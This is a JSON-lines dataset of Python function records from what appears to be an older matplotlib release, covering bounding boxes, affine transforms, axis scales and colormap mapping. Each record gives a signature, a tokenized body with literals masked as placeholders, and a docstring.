{"signature": "def update_from_data_xy(self, xy, ignore=None, updatex=True, updatey=True):", "body": "if len(xy) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>path = Path(xy)<EOL>self.update_from_path(path, ignore=ignore,<EOL>updatex=updatex, updatey=updatey)<EOL>", "docstring": "Update the bounds of the :class:`Bbox` based on the passed in\ndata.  After updating, the bounds will have positive *width*\nand *height*; *x0* and *y0* will be the minimal values.\n\n*xy*: a numpy array of 2D points\n\n*ignore*:\n   - when True, ignore the existing bounds of the :class:`Bbox`.\n   - when False, include the existing bounds of the :class:`Bbox`.\n   - when None, use the last value passed to :meth:`ignore`.\n\n*updatex*: when True, update the x values\n\n*updatey*: when True, update the y values", "id": "f17186:c2:m8"}
{"signature": "def get_points(self):", "body": "self._invalid = <NUM_LIT:0><EOL>return self._points<EOL>", "docstring": "Get the points of the bounding box directly as a numpy array\nof the form: [[x0, y0], [x1, y1]].", "id": "f17186:c2:m21"}
{"signature": "def set_points(self, points):", "body": "if np.any(self._points != points):<EOL><INDENT>self._points = points<EOL>self.invalidate()<EOL><DEDENT>", "docstring": "Set the points of the bounding box directly from a numpy array\nof the form: [[x0, y0], [x1, y1]].  No error checking is\nperformed, as this method is mainly for internal use.", "id": "f17186:c2:m22"}
{"signature": "def set(self, other):", "body": "if np.any(self._points != other.get_points()):<EOL><INDENT>self._points = other.get_points()<EOL>self.invalidate()<EOL><DEDENT>", "docstring": "Set this bounding box from the \"frozen\" bounds of another\n:class:`Bbox`.", "id": "f17186:c2:m23"}
{"signature": "def __init__(self, bbox, transform):", "body": "assert bbox.is_bbox<EOL>assert isinstance(transform, Transform)<EOL>assert transform.input_dims == <NUM_LIT:2><EOL>assert transform.output_dims == <NUM_LIT:2><EOL>BboxBase.__init__(self)<EOL>self._bbox = bbox<EOL>self._transform = transform<EOL>self.set_children(bbox, transform)<EOL>self._points = None<EOL>", "docstring": "*bbox*: a child :class:`Bbox`\n\n*transform*: a 2D :class:`Transform`", "id": "f17186:c3:m0"}
{"signature": "def __add__(self, other):", "body": "if isinstance(other, Transform):<EOL><INDENT>return composite_transform_factory(self, other)<EOL><DEDENT>raise TypeError(<EOL>\"<STR_LIT>\" % type(other))<EOL>", "docstring": "Composes two transforms together such that *self* is followed\nby *other*.", "id": "f17186:c4:m0"}
{"signature": "def __radd__(self, other):", "body": "if isinstance(other, Transform):<EOL><INDENT>return composite_transform_factory(other, self)<EOL><DEDENT>raise TypeError(<EOL>\"<STR_LIT>\" % type(other))<EOL>", "docstring": "Composes two transforms together such that *self* is followed\nby *other*.", "id": "f17186:c4:m1"}
{"signature": "def __array__(self, *args, **kwargs):", "body": "return self.frozen().__array__()<EOL>", "docstring": "Used by C/C++ -based backends to get at the array matrix data.", "id": "f17186:c4:m2"}
{"signature": "def transform(self, values):", "body": "raise NotImplementedError()<EOL>", "docstring": "Performs the transformation on the given array of values.\n\nAccepts a numpy array of shape (N x :attr:`input_dims`) and\nreturns a numpy array of shape (N x :attr:`output_dims`).", "id": "f17186:c4:m3"}
{"signature": "def transform_affine(self, values):", "body": "return values<EOL>", "docstring": "Performs only the affine part of this transformation on the\ngiven array of values.\n\n``transform(values)`` is always equivalent to\n``transform_affine(transform_non_affine(values))``.\n\nIn non-affine transformations, this is generally a no-op.  In\naffine transformations, this is equivalent to\n``transform(values)``.\n\nAccepts a numpy array of shape (N x :attr:`input_dims`) and\nreturns a numpy array of shape (N x :attr:`output_dims`).", "id": "f17186:c4:m4"}
{"signature": "def transform_non_affine(self, values):", "body": "return self.transform(values)<EOL>", "docstring": "Performs only the non-affine part of the transformation.\n\n``transform(values)`` is always equivalent to\n``transform_affine(transform_non_affine(values))``.\n\nIn non-affine transformations, this is generally equivalent to\n``transform(values)``.  In affine transformations, this is\nalways a no-op.\n\nAccepts a numpy array of shape (N x :attr:`input_dims`) and\nreturns a numpy array of shape (N x :attr:`output_dims`).", "id": "f17186:c4:m5"}
{"signature": "def get_affine(self):", "body": "return IdentityTransform()<EOL>", "docstring": "Get the affine part of this transform.", "id": "f17186:c4:m6"}
{"signature": "def transform_point(self, point):", "body": "assert len(point) == self.input_dims<EOL>return self.transform(np.asarray([point]))[<NUM_LIT:0>]<EOL>", "docstring": "A convenience function that returns the transformed copy of a\nsingle point.\n\nThe point is given as a sequence of length :attr:`input_dims`.\nThe transformed point is returned as a sequence of length\n:attr:`output_dims`.", "id": "f17186:c4:m7"}
{"signature": "def transform_path(self, path):", "body": "return Path(self.transform(path.vertices), path.codes)<EOL>", "docstring": "Returns a transformed copy of path.\n\n*path*: a :class:`~matplotlib.path.Path` instance.\n\nIn some cases, this transform may insert curves into the path\nthat began as line segments.", "id": "f17186:c4:m8"}
{"signature": "def transform_path_affine(self, path):", "body": "return path<EOL>", "docstring": "Returns a copy of path, transformed only by the affine part of\nthis transform.\n\n*path*: a :class:`~matplotlib.path.Path` instance.\n\n``transform_path(path)`` is equivalent to\n``transform_path_affine(transform_path_non_affine(values))``.", "id": "f17186:c4:m9"}
{"signature": "def transform_path_non_affine(self, path):", "body": "return Path(self.transform_non_affine(path.vertices), path.codes)<EOL>", "docstring": "Returns a copy of path, transformed only by the non-affine\npart of this transform.\n\n*path*: a :class:`~matplotlib.path.Path` instance.\n\n``transform_path(path)`` is equivalent to\n``transform_path_affine(transform_path_non_affine(values))``.", "id": "f17186:c4:m10"}
{"signature": "def transform_angles(self, angles, pts, radians=False, pushoff=<NUM_LIT>):", "body": "<EOL>if self.input_dims != <NUM_LIT:2> or self.output_dims != <NUM_LIT:2>:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>assert pts.shape[<NUM_LIT:1>] == <NUM_LIT:2><EOL>assert np.prod(angles.shape) == angles.shape[<NUM_LIT:0>] == pts.shape[<NUM_LIT:0>]<EOL>if not radians:<EOL><INDENT>angles = angles / <NUM_LIT> * np.pi<EOL><DEDENT>pts2 = pts + pushoff * np.c_[ np.cos(angles), np.sin(angles) ]<EOL>tpts = self.transform( pts )<EOL>tpts2 = self.transform( pts2 )<EOL>d = tpts2 - tpts<EOL>a = np.arctan2( d[:,<NUM_LIT:1>], d[:,<NUM_LIT:0>] )<EOL>if not radians:<EOL><INDENT>a = a * <NUM_LIT> / np.pi<EOL><DEDENT>return a<EOL>", "docstring": "Performs transformation on a set of angles anchored at\nspecific locations.\n\nThe *angles* must be a column vector (i.e., numpy array).\n\nThe *pts* must be a two-column numpy array of x,y positions\n(angle transforms currently only work in 2D).  This array must\nhave the same number of rows as *angles*.\n\n*radians* indicates whether or not input angles are given in\n radians (True) or degrees (False; the default).\n\n*pushoff* is the distance to move away from *pts* for\n determining transformed angles (see discussion of method\n below).\n\nThe transformed angles are returned in an array with the same\nsize as *angles*.\n\nThe generic version of this method uses a very generic\nalgorithm that transforms *pts*, as well as locations very\nclose to *pts*, to find the angle in the transformed system.", "id": "f17186:c4:m11"}
{"signature": "def inverted(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Return the corresponding inverse transformation.\n\nThe return value of this method should be treated as\ntemporary.  An update to *self* does not cause a corresponding\nupdate to its inverted copy.\n\n``x === self.inverted().transform(self.transform(x))``", "id": "f17186:c4:m12"}
{"signature": "def __init__(self, child):", "body": "assert isinstance(child, Transform)<EOL>Transform.__init__(self)<EOL>self.input_dims = child.input_dims<EOL>self.output_dims = child.output_dims<EOL>self._set(child)<EOL>self._invalid = <NUM_LIT:0><EOL>", "docstring": "*child*: A class:`Transform` instance.  This child may later\nbe replaced with :meth:`set`.", "id": "f17186:c5:m0"}
{"signature": "def set(self, child):", "body": "assert child.input_dims == self.input_dims<EOL>assert child.output_dims == self.output_dims<EOL>self._set(child)<EOL>self._invalid = <NUM_LIT:0><EOL>self.invalidate()<EOL>self._invalid = <NUM_LIT:0><EOL>", "docstring": "Replace the current child of this transform with another one.\n\nThe new child must have the same number of input and output\ndimensions as the current child.", "id": "f17186:c5:m4"}
{"signature": "def _concat(a, b):", "body": "return np.dot(b, a)<EOL>", "docstring": "Concatenates two transformation matrices (represented as numpy\narrays) together.", "id": "f17186:c6:m2"}
{"signature": "def get_matrix(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Get the underlying transformation matrix as a numpy array.", "id": "f17186:c6:m3"}
{"signature": "def to_values(self):", "body": "mtx = self.get_matrix()<EOL>return tuple(mtx[:<NUM_LIT:2>].swapaxes(<NUM_LIT:0>, <NUM_LIT:1>).flatten())<EOL>", "docstring": "Return the values of the matrix as a sequence (a,b,c,d,e,f)", "id": "f17186:c7:m3"}
{"signature": "def matrix_from_values(a, b, c, d, e, f):", "body": "return np.array([[a, c, e], [b, d, f], [<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>]], np.float_)<EOL>", "docstring": "(staticmethod) Create a new transformation matrix as a 3x3\nnumpy array of the form::\n\n  a c e\n  b d f\n  0 0 1", "id": "f17186:c7:m4"}
{"signature": "def __init__(self, matrix = None):", "body": "Affine2DBase.__init__(self)<EOL>if matrix is None:<EOL><INDENT>matrix = np.identity(<NUM_LIT:3>)<EOL><DEDENT>elif DEBUG:<EOL><INDENT>matrix = np.asarray(matrix, np.float_)<EOL>assert matrix.shape == (<NUM_LIT:3>, <NUM_LIT:3>)<EOL><DEDENT>self._mtx = matrix<EOL>self._invalid = <NUM_LIT:0><EOL>", "docstring": "Initialize an Affine transform from a 3x3 numpy float array::\n\n  a c e\n  b d f\n  0 0 1\n\nIf *matrix* is None, initialize with the identity transform.", "id": "f17186:c8:m0"}
{"signature": "def from_values(a, b, c, d, e, f):", "body": "return Affine2D(<EOL>np.array([a, c, e, b, d, f, <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>], np.float_)<EOL>.reshape((<NUM_LIT:3>,<NUM_LIT:3>)))<EOL>", "docstring": "(staticmethod) Create a new Affine2D instance from the given\nvalues::\n\n  a c e\n  b d f\n  0 0 1", "id": "f17186:c8:m3"}
{"signature": "def get_matrix(self):", "body": "self._invalid = <NUM_LIT:0><EOL>return self._mtx<EOL>", "docstring": "Get the underlying transformation matrix as a 3x3 numpy array::\n\n  a c e\n  b d f\n  0 0 1", "id": "f17186:c8:m4"}
{"signature": "def set_matrix(self, mtx):", "body": "self._mtx = mtx<EOL>self.invalidate()<EOL>", "docstring": "Set the underlying transformation matrix from a 3x3 numpy array::\n\n  a c e\n  b d f\n  0 0 1", "id": "f17186:c8:m5"}
{"signature": "def set(self, other):", "body": "assert isinstance(other, Affine2DBase)<EOL>self._mtx = other.get_matrix()<EOL>self.invalidate()<EOL>", "docstring": "Set this transformation from the frozen copy of another\n:class:`Affine2DBase` object.", "id": "f17186:c8:m6"}
{"signature": "def identity():", "body": "return Affine2D(np.identity(<NUM_LIT:3>))<EOL>", "docstring": "(staticmethod) Return a new :class:`Affine2D` object that is\nthe identity transform.\n\nUnless this transform will be mutated later on, consider using\nthe faster :class:`IdentityTransform` class instead.", "id": "f17186:c8:m7"}
{"signature": "def clear(self):", "body": "self._mtx = np.identity(<NUM_LIT:3>)<EOL>self.invalidate()<EOL>return self<EOL>", "docstring": "Reset the underlying matrix to the identity transform.", "id": "f17186:c8:m8"}
{"signature": "def rotate(self, theta):", "body": "a = np.cos(theta)<EOL>b = np.sin(theta)<EOL>rotate_mtx = np.array(<EOL>[[a, -b, <NUM_LIT:0.0>], [b, a, <NUM_LIT:0.0>], [<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>]],<EOL>np.float_)<EOL>self._mtx = np.dot(rotate_mtx, self._mtx)<EOL>self.invalidate()<EOL>return self<EOL>", "docstring": "Add a rotation (in radians) to this transform in place.\n\nReturns *self*, so this method can easily be chained with more\ncalls to :meth:`rotate`, :meth:`rotate_deg`, :meth:`translate`\nand :meth:`scale`.", "id": "f17186:c8:m9"}
{"signature": "def rotate_deg(self, degrees):", "body": "return self.rotate(degrees*np.pi/<NUM_LIT>)<EOL>", "docstring": "Add a rotation (in degrees) to this transform in place.\n\nReturns *self*, so this method can easily be chained with more\ncalls to :meth:`rotate`, :meth:`rotate_deg`, :meth:`translate`\nand :meth:`scale`.", "id": "f17186:c8:m10"}
{"signature": "def rotate_around(self, x, y, theta):", "body": "return self.translate(-x, -y).rotate(theta).translate(x, y)<EOL>", "docstring": "Add a rotation (in radians) around the point (x, y) in place.\n\nReturns *self*, so this method can easily be chained with more\ncalls to :meth:`rotate`, :meth:`rotate_deg`, :meth:`translate`\nand :meth:`scale`.", "id": "f17186:c8:m11"}
{"signature": "def rotate_deg_around(self, x, y, degrees):", "body": "return self.translate(-x, -y).rotate_deg(degrees).translate(x, y)<EOL>", "docstring": "Add a rotation (in degrees) around the point (x, y) in place.\n\nReturns *self*, so this method can easily be chained with more\ncalls to :meth:`rotate`, :meth:`rotate_deg`, :meth:`translate`\nand :meth:`scale`.", "id": "f17186:c8:m12"}
{"signature": "def translate(self, tx, ty):", "body": "translate_mtx = np.array(<EOL>[[<NUM_LIT:1.0>, <NUM_LIT:0.0>, tx], [<NUM_LIT:0.0>, <NUM_LIT:1.0>, ty], [<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>]],<EOL>np.float_)<EOL>self._mtx = np.dot(translate_mtx, self._mtx)<EOL>self.invalidate()<EOL>return self<EOL>", "docstring": "Adds a translation in place.\n\nReturns *self*, so this method can easily be chained with more\ncalls to :meth:`rotate`, :meth:`rotate_deg`, :meth:`translate`\nand :meth:`scale`.", "id": "f17186:c8:m13"}
{"signature": "def scale(self, sx, sy=None):", "body": "if sy is None:<EOL><INDENT>sy = sx<EOL><DEDENT>scale_mtx = np.array(<EOL>[[sx, <NUM_LIT:0.0>, <NUM_LIT:0.0>], [<NUM_LIT:0.0>, sy, <NUM_LIT:0.0>], [<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>]],<EOL>np.float_)<EOL>self._mtx = np.dot(scale_mtx, self._mtx)<EOL>self.invalidate()<EOL>return self<EOL>", "docstring": "Adds a scale in place.\n\nIf *sy* is None, the same scale is applied in both the *x*- and\n*y*-directions.\n\nReturns *self*, so this method can easily be chained with more\ncalls to :meth:`rotate`, :meth:`rotate_deg`, :meth:`translate`\nand :meth:`scale`.", "id": "f17186:c8:m14"}
{"signature": "def __init__(self, x_transform, y_transform):", "body": "<EOL>Transform.__init__(self)<EOL>self._x = x_transform<EOL>self._y = y_transform<EOL>self.set_children(x_transform, y_transform)<EOL>self._affine = None<EOL>", "docstring": "Create a new \"blended\" transform using *x_transform* to\ntransform the *x*-axis and *y_transform* to transform the\n*y*-axis.\n\nYou will generally not call this constructor directly but use\nthe :func:`blended_transform_factory` function instead, which\ncan determine automatically which kind of blended transform to\ncreate.", "id": "f17186:c10:m0"}
{"signature": "def __init__(self, x_transform, y_transform):", "body": "assert x_transform.is_affine<EOL>assert y_transform.is_affine<EOL>assert x_transform.is_separable<EOL>assert y_transform.is_separable<EOL>Transform.__init__(self)<EOL>self._x = x_transform<EOL>self._y = y_transform<EOL>self.set_children(x_transform, y_transform)<EOL>Affine2DBase.__init__(self)<EOL>self._mtx = None<EOL>", "docstring": "Create a new \"blended\" transform using *x_transform* to\ntransform the *x*-axis and *y_transform* to transform the\n*y*-axis.\n\nBoth *x_transform* and *y_transform* must be 2D affine\ntransforms.\n\nYou will generally not call this constructor directly but use\nthe :func:`blended_transform_factory` function instead, which\ncan determine automatically which kind of blended transform to\ncreate.", "id": "f17186:c11:m0"}
{"signature": "def __init__(self, a, b):", "body": "assert a.output_dims == b.input_dims<EOL>self.input_dims = a.input_dims<EOL>self.output_dims = b.output_dims<EOL>Transform.__init__(self)<EOL>self._a = a<EOL>self._b = b<EOL>self.set_children(a, b)<EOL>", "docstring": "Create a new composite transform that is the result of\napplying transform *a* then transform *b*.\n\nYou will generally not call this constructor directly but use\nthe :func:`composite_transform_factory` function instead,\nwhich can automatically choose the best kind of composite\ntransform instance to create.", "id": "f17186:c12:m0"}
{"signature": "def __init__(self, a, b):", "body": "assert a.output_dims == b.input_dims<EOL>self.input_dims = a.input_dims<EOL>self.output_dims = b.output_dims<EOL>assert a.is_affine<EOL>assert b.is_affine<EOL>Affine2DBase.__init__(self)<EOL>self._a = a<EOL>self._b = b<EOL>self.set_children(a, b)<EOL>self._mtx = None<EOL>", "docstring": "Create a new composite transform that is the result of\napplying transform *a* then transform *b*.\n\nBoth *a* and *b* must be instances of :class:`Affine2DBase`.\n\nYou will generally not call this constructor directly but use\nthe :func:`composite_transform_factory` function instead,\nwhich can automatically choose the best kind of composite\ntransform instance to create.", "id": "f17186:c13:m0"}
{"signature": "def __init__(self, boxin, boxout):", "body": "assert boxin.is_bbox<EOL>assert boxout.is_bbox<EOL>Affine2DBase.__init__(self)<EOL>self._boxin = boxin<EOL>self._boxout = boxout<EOL>self.set_children(boxin, boxout)<EOL>self._mtx = None<EOL>self._inverted = None<EOL>", "docstring": "Create a new :class:`BboxTransform` that linearly transforms\npoints from *boxin* to *boxout*.", "id": "f17186:c14:m0"}
{"signature": "def __init__(self, boxout):", "body": "assert boxout.is_bbox<EOL>Affine2DBase.__init__(self)<EOL>self._boxout = boxout<EOL>self.set_children(boxout)<EOL>self._mtx = None<EOL>self._inverted = None<EOL>", "docstring": "Create a new :class:`BboxTransformTo` that linearly transforms\npoints from the unit bounding box to *boxout*.", "id": "f17186:c15:m0"}
{"signature": "def __init__(self, path, transform):", "body": "assert isinstance(transform, Transform)<EOL>TransformNode.__init__(self)<EOL>self._path = path<EOL>self._transform = transform<EOL>self.set_children(transform)<EOL>self._transformed_path = None<EOL>self._transformed_points = None<EOL>", "docstring": "Create a new :class:`TransformedPath` from the given\n:class:`~matplotlib.path.Path` and :class:`Transform`.", "id": "f17186:c18:m0"}
{"signature": "def get_transformed_points_and_affine(self):", "body": "self._revalidate()<EOL>return self._transformed_points, self.get_affine()<EOL>", "docstring": "Return a copy of the child path, with the non-affine part of\nthe transform already applied, along with the affine part of\nthe path necessary to complete the transformation.  Unlike\n:meth:`get_transformed_path_and_affine`, no interpolation will\nbe performed.", "id": "f17186:c18:m2"}
{"signature": "def get_transformed_path_and_affine(self):", "body": "self._revalidate()<EOL>return self._transformed_path, self.get_affine()<EOL>", "docstring": "Return a copy of the child path, with the non-affine part of\nthe transform already applied, along with the affine part of\nthe path necessary to complete the transformation.", "id": "f17186:c18:m3"}
{"signature": "def get_fully_transformed_path(self):", "body": "if ((self._invalid & self.INVALID_NON_AFFINE == self.INVALID_NON_AFFINE)<EOL>or self._transformed_path is None):<EOL><INDENT>self._transformed_path =self._transform.transform_path_non_affine(self._path)<EOL><DEDENT>self._invalid = <NUM_LIT:0><EOL>return self._transform.transform_path_affine(self._transformed_path)<EOL>", "docstring": "Return a fully-transformed copy of the child path.", "id": "f17186:c18:m4"}
{"signature": "def _mask_non_positives(a):", "body": "mask = a <= <NUM_LIT:0.0><EOL>if mask.any():<EOL><INDENT>return ma.MaskedArray(a, mask=mask)<EOL><DEDENT>return a<EOL>", "docstring": "Return a Numpy masked array where all non-positive values are\nmasked.  If there are no non-positive values, the original array\nis returned.", "id": "f17187:m0"}
{"signature": "def scale_factory(scale, axis, **kwargs):", "body": "scale = scale.lower()<EOL>if scale is None:<EOL><INDENT>scale = '<STR_LIT>'<EOL><DEDENT>if scale not in _scale_mapping:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % scale)<EOL><DEDENT>return _scale_mapping[scale](axis, **kwargs)<EOL>", "docstring": "Return a scale class by name.\n\nACCEPTS: [ %(names)s ]", "id": "f17187:m2"}
{"signature": "def register_scale(scale_class):", "body": "_scale_mapping[scale_class.name] = scale_class<EOL>", "docstring": "Register a new kind of scale.\n\n*scale_class* must be a subclass of :class:`ScaleBase`.", "id": "f17187:m3"}
{"signature": "def get_scale_docs():", "body": "docs = []<EOL>for name in get_scale_names():<EOL><INDENT>scale_class = _scale_mapping[name]<EOL>docs.append(\"<STR_LIT>\" % name)<EOL>docs.append(\"<STR_LIT>\")<EOL>class_docs = dedent(scale_class.__init__.__doc__)<EOL>class_docs = \"<STR_LIT>\".join([\"<STR_LIT>\" %<EOL>x for x in class_docs.split(\"<STR_LIT:\\n>\")])<EOL>docs.append(class_docs)<EOL>docs.append(\"<STR_LIT>\")<EOL><DEDENT>return \"<STR_LIT:\\n>\".join(docs)<EOL>", "docstring": "Helper function for generating docstrings related to scales.", "id": "f17187:m4"}
{"signature": "def get_transform(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Return the :class:`~matplotlib.transforms.Transform` object\nassociated with this scale.", "id": "f17187:c0:m0"}
{"signature": "def set_default_locators_and_formatters(self, axis):", "body": "raise NotImplementedError<EOL>", "docstring": "Set the :class:`~matplotlib.ticker.Locator` and\n:class:`~matplotlib.ticker.Formatter` objects on the given\naxis to match this scale.", "id": "f17187:c0:m1"}
{"signature": "def limit_range_for_scale(self, vmin, vmax, minpos):", "body": "return vmin, vmax<EOL>", "docstring": "Returns the range *vmin*, *vmax*, possibly limited to the\ndomain supported by this scale.\n\n*minpos* should be the minimum positive value in the data.\n This is used by log scales to determine a minimum value.", "id": "f17187:c0:m2"}
{"signature": "def set_default_locators_and_formatters(self, axis):", "body": "axis.set_major_locator(AutoLocator())<EOL>axis.set_major_formatter(ScalarFormatter())<EOL>axis.set_minor_locator(NullLocator())<EOL>axis.set_minor_formatter(NullFormatter())<EOL>", "docstring": "Set the locators and formatters to reasonable defaults for\nlinear scaling.", "id": "f17187:c1:m1"}
{"signature": "def get_transform(self):", "body": "return IdentityTransform()<EOL>", "docstring": "The transform for linear scaling is just the\n:class:`~matplotlib.transforms.IdentityTransform`.", "id": "f17187:c1:m2"}
{"signature": "def __init__(self, axis, **kwargs):", "body": "if axis.axis_name == '<STR_LIT:x>':<EOL><INDENT>base = kwargs.pop('<STR_LIT>', <NUM_LIT>)<EOL>subs = kwargs.pop('<STR_LIT>', None)<EOL><DEDENT>else:<EOL><INDENT>base = kwargs.pop('<STR_LIT>', <NUM_LIT>)<EOL>subs = kwargs.pop('<STR_LIT>', None)<EOL><DEDENT>if base == <NUM_LIT>:<EOL><INDENT>self._transform = self.Log10Transform()<EOL><DEDENT>elif base == <NUM_LIT>:<EOL><INDENT>self._transform = self.Log2Transform()<EOL><DEDENT>elif base == np.e:<EOL><INDENT>self._transform = self.NaturalLogTransform()<EOL><DEDENT>else:<EOL><INDENT>self._transform = self.LogTransform(base)<EOL><DEDENT>self.base = base<EOL>self.subs = subs<EOL>", "docstring": "*basex*/*basey*:\n   The base of the logarithm\n\n*subsx*/*subsy*:\n   Where to place the subticks between each major tick.\n   Should be a sequence of integers.  For example, in a log10\n   scale: ``[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]``\n\n   will place 10 logarithmically spaced minor ticks between\n   each major tick.", "id": "f17187:c2:m0"}
{"signature": "def set_default_locators_and_formatters(self, axis):", "body": "axis.set_major_locator(LogLocator(self.base))<EOL>axis.set_major_formatter(LogFormatterMathtext(self.base))<EOL>axis.set_minor_locator(LogLocator(self.base, self.subs))<EOL>axis.set_minor_formatter(NullFormatter())<EOL>", "docstring": "Set the locators and formatters to specialized versions for\nlog scaling.", "id": "f17187:c2:m1"}
{"signature": "def get_transform(self):", "body": "return self._transform<EOL>", "docstring": "Return a :class:`~matplotlib.transforms.Transform` instance\nappropriate for the given logarithm base.", "id": "f17187:c2:m2"}
{"signature": "def limit_range_for_scale(self, vmin, vmax, minpos):", "body": "return (vmin <= <NUM_LIT:0.0> and minpos or vmin,<EOL>vmax <= <NUM_LIT:0.0> and minpos or vmax)<EOL>", "docstring": "Limit the domain to positive values.", "id": "f17187:c2:m3"}
{"signature": "def __init__(self, axis, **kwargs):", "body": "if axis.axis_name == '<STR_LIT:x>':<EOL><INDENT>base = kwargs.pop('<STR_LIT>', <NUM_LIT>)<EOL>linthresh = kwargs.pop('<STR_LIT>', <NUM_LIT>)<EOL>subs = kwargs.pop('<STR_LIT>', None)<EOL><DEDENT>else:<EOL><INDENT>base = kwargs.pop('<STR_LIT>', <NUM_LIT>)<EOL>linthresh = kwargs.pop('<STR_LIT>', <NUM_LIT>)<EOL>subs = kwargs.pop('<STR_LIT>', None)<EOL><DEDENT>self._transform = self.SymmetricalLogTransform(base, linthresh)<EOL>self.base = base<EOL>self.linthresh = linthresh<EOL>self.subs = subs<EOL>", "docstring": "*basex*/*basey*:\n   The base of the logarithm\n\n*linthreshx*/*linthreshy*:\n  The range (-*x*, *x*) within which the plot is linear (to\n  avoid having the plot go to infinity around zero).\n\n*subsx*/*subsy*:\n   Where to place the subticks between each major tick.\n   Should be a sequence of integers.  For example, in a log10\n   scale: ``[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]``\n\n   will place 10 logarithmically spaced minor ticks between\n   each major tick.", "id": "f17187:c3:m0"}
{"signature": "def set_default_locators_and_formatters(self, axis):", "body": "axis.set_major_locator(SymmetricalLogLocator(self.get_transform()))<EOL>axis.set_major_formatter(LogFormatterMathtext(self.base))<EOL>axis.set_minor_locator(SymmetricalLogLocator(self.get_transform(), self.subs))<EOL>axis.set_minor_formatter(NullFormatter())<EOL>", "docstring": "Set the locators and formatters to specialized versions for\nsymmetrical log scaling.", "id": "f17187:c3:m1"}
{"signature": "def get_transform(self):", "body": "return self._transform<EOL>", "docstring": "Return a :class:`SymmetricalLogTransform` instance.", "id": "f17187:c3:m2"}
{"signature": "def get_cmap(name=None, lut=None):", "body": "if name is None: name = mpl.rcParams['<STR_LIT>']<EOL>if lut is None: lut = mpl.rcParams['<STR_LIT>']<EOL>assert(name in datad.keys())<EOL>return colors.LinearSegmentedColormap(name,  datad[name], lut)<EOL>", "docstring": "Get a colormap instance, defaulting to rc values if *name* is None", "id": "f17188:m0"}
{"signature": "def __init__(self, norm=None, cmap=None):", "body": "self.callbacksSM = cbook.CallbackRegistry((<EOL>'<STR_LIT>',))<EOL>if cmap is None: cmap = get_cmap()<EOL>if norm is None: norm = colors.Normalize()<EOL>self._A = None<EOL>self.norm = norm<EOL>self.cmap = cmap<EOL>self.colorbar = None<EOL>self.update_dict = {'<STR_LIT>':False}<EOL>", "docstring": "*norm* is an instance of :class:`colors.Normalize` or one of\nits subclasses, used to map luminance to 0-1. *cmap* is a\n:mod:`cm` colormap instance, for example :data:`cm.jet`", "id": "f17188:c0:m0"}
{"signature": "def set_colorbar(self, im, ax):", "body": "self.colorbar = im, ax<EOL>", "docstring": "set the colorbar image and axes associated with mappable", "id": "f17188:c0:m1"}
{"signature": "def to_rgba(self, x, alpha=<NUM_LIT:1.0>, bytes=False):", "body": "try:<EOL><INDENT>if x.ndim == <NUM_LIT:3>:<EOL><INDENT>if x.shape[<NUM_LIT:2>] == <NUM_LIT:3>:<EOL><INDENT>if x.dtype == np.uint8:<EOL><INDENT>alpha = np.array(alpha*<NUM_LIT:255>, np.uint8)<EOL><DEDENT>m, n = x.shape[:<NUM_LIT:2>]<EOL>xx = np.empty(shape=(m,n,<NUM_LIT:4>), dtype = x.dtype)<EOL>xx[:,:,:<NUM_LIT:3>] = x<EOL>xx[:,:,<NUM_LIT:3>] = alpha<EOL><DEDENT>elif x.shape[<NUM_LIT:2>] == <NUM_LIT:4>:<EOL><INDENT>xx = x<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if bytes and xx.dtype != np.uint8:<EOL><INDENT>xx = (xx * <NUM_LIT:255>).astype(np.uint8)<EOL><DEDENT>return xx<EOL><DEDENT><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>x = ma.asarray(x)<EOL>x = self.norm(x)<EOL>x = self.cmap(x, alpha=alpha, bytes=bytes)<EOL>return x<EOL>", "docstring": "Return a normalized rgba array corresponding to *x*. If *x*\n        is already an rgb array, insert *alpha*; if it is already\n        rgba, return it unchanged. If *bytes* is True, return rgba as\n        4 uint8s instead of 4 floats.", "id": "f17188:c0:m2"}
{"signature": "def set_array(self, A):", "body": "self._A = A<EOL>self.update_dict['<STR_LIT>'] = True<EOL>", "docstring": "Set the image array from numpy array *A*", "id": "f17188:c0:m3"}
{"signature": "def get_array(self):", "body": "return self._A<EOL>", "docstring": "Return the array", "id": "f17188:c0:m4"}
{"signature": "def get_cmap(self):", "body": "return self.cmap<EOL>", "docstring": "return the colormap", "id": "f17188:c0:m5"}
{"signature": "def get_clim(self):", "body": "return self.norm.vmin, self.norm.vmax<EOL>", "docstring": "return the min, max of the color limits for image scaling", "id": "f17188:c0:m6"}
{"signature": "def set_clim(self, vmin=None, vmax=None):", "body": "if (vmin is not None and vmax is None and<EOL>cbook.iterable(vmin) and len(vmin)==<NUM_LIT:2>):<EOL><INDENT>vmin, vmax = vmin<EOL><DEDENT>if vmin is not None: self.norm.vmin = vmin<EOL>if vmax is not None: self.norm.vmax = vmax<EOL>self.changed()<EOL>", "docstring": "set the norm limits for image scaling; if *vmin* is a length2\nsequence, interpret it as ``(vmin, vmax)`` which is used to\nsupport setp\n\nACCEPTS: a length 2 sequence of floats", "id": "f17188:c0:m7"}
{"signature": "def set_cmap(self, cmap):", "body": "if cmap is None: cmap = get_cmap()<EOL>self.cmap = cmap<EOL>self.changed()<EOL>", "docstring": "set the colormap for luminance data\n\nACCEPTS: a colormap", "id": "f17188:c0:m8"}
{"signature": "def set_norm(self, norm):", "body": "if norm is None: norm = colors.Normalize()<EOL>self.norm = norm<EOL>self.changed()<EOL>", "docstring": "set the normalization instance", "id": "f17188:c0:m9"}
{"signature": "def autoscale(self):", "body": "if self._A is None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>self.norm.autoscale(self._A)<EOL>self.changed()<EOL>", "docstring": "Autoscale the scalar limits on the norm instance using the\ncurrent array", "id": "f17188:c0:m10"}
